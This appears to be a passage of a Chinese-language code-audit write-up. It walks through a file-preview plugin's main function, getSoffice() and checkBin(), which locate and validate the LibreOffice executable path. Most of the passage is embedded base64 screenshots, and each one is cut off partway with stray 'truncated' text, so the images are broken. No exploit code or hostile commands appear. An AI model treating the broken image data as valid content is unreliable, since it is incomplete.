<p blockindex=9><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=10>那么进一步跟进代码进行查看:</p>
|
||||
<p blockindex=11>先查看主函数:</p>
|
||||
<p blockindex=12><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=13>主函数作用是在用户访问文件的时候首先获取处理文件插件功能的插件,再检查是否允许使用名为 'LibreOffice' 的扩展。getSoffice()用于检查能否成功获取到LibreOffice 的可执行文件路径,最后通过传入的filepath获取指定文件信息。</p>
|
||||
<p blockindex=14>跟进getSoffice()方法:</p>
|
||||
<p blockindex=15><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABiMAAADmCAIAAAA4K2FKAAAgAElEQVR4nOzdd5gbx3k/8HcWu2iLA3C998JexS6KEkUVqli9WdWyEpfETpzEiX+xFdtyIrnITuzELcVKbMtdklWsXiixF7GXu+Pxej8cem87vz9wBbzD4gqPOh75/Tx8+OAGi9l3Zwe7ixezA1ZWXkUzJzs3z24bmMEKAQAAAAAuBcUlZd1dHbMdBQAAwDRlmM2JB8LsxgEAAAAAAAAAABcNZJoAAAAAAAAAAGBmINMEAAAAAAAAAAAzA5kmAAAAAAAAAACYGcg0AQAAAAAAAADAzECmCQAAAAAAAAAAZgYyTQAAAAAAAAAAMDPE2Q4AAAAAAAAAAAAuOM9+bf4kl3zwiYaRxxfJmCZ94aLldbkazidZDgAAAAAAAAAAM+5iGNPEub5y+ZrS3hePMDaZ8pQefOSxZ3/+s/QlFwjOWf7y61eYm3duP+2fxKZNUvrtvWBbAwAAAAAAAADOh+SRSpN3MWSaSK4pz3G17XIQsUmVn+3BRx4b82DMU4kMy/hnZyrzwrmp6vKrV1RkGyWB++vf/sOuAcbSlBNpDCZLhsWkI/JPd6XJmzOyISOFakm3MY2A3BMAAAAAAAAAJLsYMk2mysosV9tu99iEklr5GCM5lPRjmp79+c+SEy6JP8dUMk1ZdUuqWevbLzb5Y6SE/ROVMxZr3/W7diI6twFNycmj5I0dk05Kfip5GaSZAAAAAAAAAC5il+g8TZybKipyXO1nPGNvnUtdPp7awKUxuaTxEi8Zm3AxV6+/8Z67H/jkxz9+3w1XLLBqhqaI4mJ23RUfu+3eh++5647NK4r1yVNHiaKGe229Dp/X6/NH+EjAqcrLr/zEg4889uAjjz1w6wpzUiVcsFStu+nWex++9967r1tXaxGG16vJrN1w8+33PnzfvXduWVVmSDVlVXLibEwKKeVoJqSZAAAAAAAAACCluT+myVxVkWVv3+4ZO3JJrXyckcFKY8b1PPvzn40ppFT30CXjnFVdtrEw9OEHf+oISbmLNm5aO7/zzZM+zil/xeaVmd37tu1yS6UrN25e4/799pYIL77i7s3VEmeCQFc89CgRUaD+nef3DpRsSlluY6xr33MvHmKa8iturk5eL89evmVtgf3A+3vslLNg/YYrltn/dNjBOeWsuHqZpX3vu7v8UuGSDVdt8Dz37unAmG0ZSZmNTyGNH/A1vq0AAAAAAAAA4OJzic7TlFFVYXG0toxLKKmVp5QmdaKWeVGpSavXawJd7QNuH5F37yudIsWIiMhSVGzqOba3dYATOY62zNtcVEAtHdR/8O0/nSDrki2XG06+ur+PiJSgh0i1nCge8vlCxEKxs9drKiqyDpx65Ux/lMjx4UHTmiyDhvMYWUtLjN0HD3QNMiLn0TN1N5YUUuMZYmzyKaSUo5mQbAIAAAAAAACA8eZ2ponzjKrybHvzu4Gxt86lLk9p5O658fMTJR5MfkwTY+HOtr4lq269rdzldjscPU31Z2zEGJFBp41Fw0oi7xWOhCWrgXFOsYDbFeBSiDPR73S4E9EyxlTK1dds0Gl5JBJJ1B/pPLSzk4gx4gadVqrc9GjF0EsFoV9iRGPuoEu+f3CkHcbPSJVm4ioAAAAAAAAAAJrrmSayVpdZbM2tvrEjl9TKUxmTPUk8SD/EKU2+yXvq9Zf7Cgtysy3WvNLVN+Vpn3u7fto/EDcjwu17XzthH/4r6k+ku8bPbp5ygvPxqaXkqpFmAgAAAAAAAIBkc3tG8MyqKrOttXVcJketPI3x94ilH76UPBJqJOHCuWQtKjEGu9tOHz+6/909Tf6c/DwiIgqGI6KkG2ptnVYXDQb5uf1y3NmC4QjTanWJP/TlazavLNVwThQMRyRN3OV2Od0upycUJ66ws9ebnFRK/EuzmpEFJlwSAAAAAAAAAC5Bc3hME+eZFeUWW2NzaOytc6nL1ajdPZdysZS31CUR8pduWRTas/NIT1CTWVEgB/sT6S53T7dv/uJ1Fb5Gj1S6rErq29c/mdjG4JzpTCatQBq9SExnNJsV4hG/Nxz39fS6lixcX+0+7qDchSsWmtrOxBkj7u7u8s1fdnlV8KST5S/esM7Y+NybJ33TWDUAAAAAAAAAwITmcKaJsqrLTf31rcGxt8iplasYPwF2ykmvU87WNGYWbcbCTfv35m5YvvnmyzU85B04tud4PxFjjPoPbzuk37Bic62keAcat+1vDaWdd0lN7rIbbp4nJ15YeM0dizj3n37zNwf6mf3wtv3aDUuuullHQWfHru3H7Yn1Dhx575Du8qVXfUxHfnvrB7tOesc0S/JtdFOPBwAAAAAAAABg1BzONGVXlxsHTraNSyiplaeR8la4lCVjXjU+J8WdDbteTf4VwKEgWMx+escrp0eLR4Njtv1/fDbFhN/jyxkbOPDcMwfGBsKIiCnO5j2vNu8Zv17H6V1J601qlPEbm9waKbd3/GPcQwcAAAAAAAAAI1hZedUMVpedm2e3DcxghWo4z1l1583WE79593R4MuUAAAAAABey4pKy7q6O2Y4CAABgmjLM5sSDuTojOGODB1/4v/HpJLXyj8bWr2yVc0xEJOeYLuTHs9E2AAAAAAAAAHDx01ismTNYnVGWg4Gp/OTbxcVn8619aE3i/yPPH7lgH5/ZcWa2mwoAAAAAzmI2W7we92xHAQAAME06nS7xYK7ePXfBknNMV3x6447/3Okf9F3Ij2e7nQAAAADgLLh7DgAA5rSRu+eQaQIAAAAAmH3INAEAwIXm2a/Nn+SSDz7RMOfnaQIAAAAAAAAAgAuNONsBAAAAAAAAAADABefBJxqm8SqMaQIAAAAAAAAAgJmBTBMAAAAAAAAAAMwMZJoAAAAAAAAAAGBmINMEAAAAAAAAAAAzA5kmAAAAAAAAAACYGXP4t+e4YC5ZtKyywKqNuftPHzrV5eWMzXZQAAAAAAAAAACXrrk6polzoWj1dUvNzpbDO482+/PXXLsoa7ZjAgAAAAAAAAC4tGks1swZrM4oy8GAfwYrVGeQ5VB3/al+byjg6uM5qwp5Q7sjPvI0F/NqF+VE+l0RxjjPrFhexmyDIc6YoaB6wcLyokyt4vf4IsQY6XLKqmsrKytzjFGPwxcjRkRckAtqFtVWlVjIG8tcWKTpdwWJc11O9aLaqvLcDPI5PVHOiChFhQAAAAAAU2Q2W7we92xHAQAAME06nS7xYK6OaWIs0H+60RZmnAvG3EWlOa7+/vBZS4g5pTXFxqE/Mgrqyq1EXChYce3GQnIOulnRZdcty9dwTcHK67fUmOOuQZdYsWnTkhwi4txYdcWNy/O4y+YWytevXbq4OFPDubZk/U2rCgXP4GA0c+XmTfMNnI+v8CNvCQAAAAAAAACAC8UcnqeJiDhVrLvrihIx1n/wT41uogmHE0lWs8bZerqpK0zdXY2aaJx4/4l3X4n7/HHGWDTv1oVFhmODgawFC7L6Dv7xSD8x3h6Qby/UE5F14eL83sOvHB5QGG8PyLetr85sOB4cV+HEQQAAAAAAAAAAXJzmdqaJUdve53sy8ktqlm7dEH95d2t4gheEWk81lV52w93V9q7u5pNnusNEJFkq6hYW5uaYdaKWxbwSkWC16gbbBjgRI+I9tkGllEjIzJIF67Jrb+FERCQJJqeFkXNchUg0AQAAAAAAAMClaq5mmrigNZmlsNMXYxFff8vhhtI7qso1LY3xkWmSOJEgahJ/aUSRERExFh448fbrDXJmflnNshvXG/64w73kyrXZbfsO7D3kCFhW3bSWiEgJhxWz1UzkJiKSJEkgIiUSVVwNO/ecGZkLSonw8RXubJ4o2wUAAAAAAAAAcJGaq5kmUnIWbr5SOvbKnjNeLpnLS3LC3vp48mzcIY+PlpRVmPo6YtkLanOY0k3E5erVS6T6PfWOroa2goVrMzOFqEnn62nrtgdIk1dVZqBWIqL+1m5x3fyqlsOdAUPxyqosHmgnsnX0rVpUYWiodypcX7JsZW7fgUP9hrEVEvXNVpMAAAAAAAAAAMyUZ782f5JLPvhEw8jjuZppYtRzZHf92tW33LYkGhfFUN/xPUf7z54jqev0UfvG1Xfcutxra2gdUPKIiHzdA/FrN91cFyOjXuk6ur1XCcYaajdvuaUiEKGA0xVIVB7vPrL9xLIVG7cs1gR7j7V2V+UTsWj7kf3ZazbeWRGLksjdTbtsEaLI2AoxTxMAAAAAAAAAXLJYWXnVDFaXnZtntw3MYIXpcU6CXi9Gg1EldX6HC4JAcX72s1zQGiQlFIoSY0TEOZOMRhb2JVciGvTxQJAzxrlYvfne3OZf7eukoYX1UjwU5knjp8ZUCAAAAAAwVcUlZd1dHbMdBQAAwDRlmM2JB3N1TFMCY8TDoaj6MCKmKHzcs0yJhMI0khVijMeC/uSxSJwy6zZdk2+vbxmMyjlVleaOQ32J6cGJMR4LR8ZklMZUCAAAAAAAAABwaZrbmabzhJHz5HtvOUpKc7IsLHB6z1stjiiySAAAAAAAAAAAE0CmKTUWdfe1uvtaZzsOAAAAAAAAAIC5Q5jtAAAAAAAAAAAA4CKBTBMAAAAAAAAAAMwMZJoAAAAAAAAAAGBmINMEAAAAAAAAAAAzA5kmAAAAAAAAAACYGfjtOQAAAAAAAAAAGOvZr82f5JIPPtEw8hiZJoDziFPO6gc/eduqSunDf//Ss/WzHQ4AAAAAAADA+YVMUzqcs6XrVj2Q1fP917r6GJvtcKZsrsc/UziXMq77cXnOG02/fi5yzu2gL11zw9bN4oFv/eEII6LirZ+9zdr09uvvnHanWFhcdfcn1wlv/PfTH7Z1neN6AQAAAAAAAD5KySOVJu9SyTRxrr//gavrjr7+xEmeXL7u+uv+cb5ERJz3//hHB96Kj0lDMIs1o9hqNJ3z2rdct+rh2oLine truncated
|
||||
<p blockindex=16><code>getSoffice</code> 方法用于获取LibreOffice的可执行文件路径的函数。它首先从配置中获取 LibreOffice 的安装路径,然后通过 <code>checkBin</code> 方法检查该路径是否有效。跟进checkBin():</p>
|
||||
<p blockindex=17><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABb8AAADQCAIAAACofYucAAAgAElEQVR4nOydeXxcxZXvT/Xe995etbW61WrtS2ux5EWyvGKD8QLYhgAhYEgIgbAkgSF5k8mDycsk4QXCZBJeJiQMCcmwTFYSNoNtjI33RZZtyZK1t/a1N/W+d70/urVZfVuSJVlG1PfDh49UKp/61alT1bfPrVsXpeuyAAAAEpKSzcZh+CyD+bLUNG2igkJec5/BYPHixVZEIBAIBAKBQFj6aNLS+3q7F1sFgUAgEBYQ3mILmE9QwDbYYRvsWGwdBAKBQCAQCAQCgUAgEJYQnMUWQCAQCAQCgUAgEAgEAoFwXUOyJwQCgUAgEAgEAoFAIBAI8SDZEwKBQCAQCAQCgUAgEAiEeJDsCYFAIBAIBAKBQCAQCARCPEj2hEAgEAgEAoFAIBAIBAIhHiR7Qvi8wE+sLJGjz0+71wmYUqWnUIutgrDUIHFFIBAIBAKBQLjGkOwJ4fOCMLFMr+B+ftqdLRgSV+755x//4tcv7CmcR7McRUYKE5pHgwQCfG7iCmOBMkufKsWLLSTK9aZnvliq/VpoFtpvn5VxWSyd15t/rjc9bHxWdC4WxD8E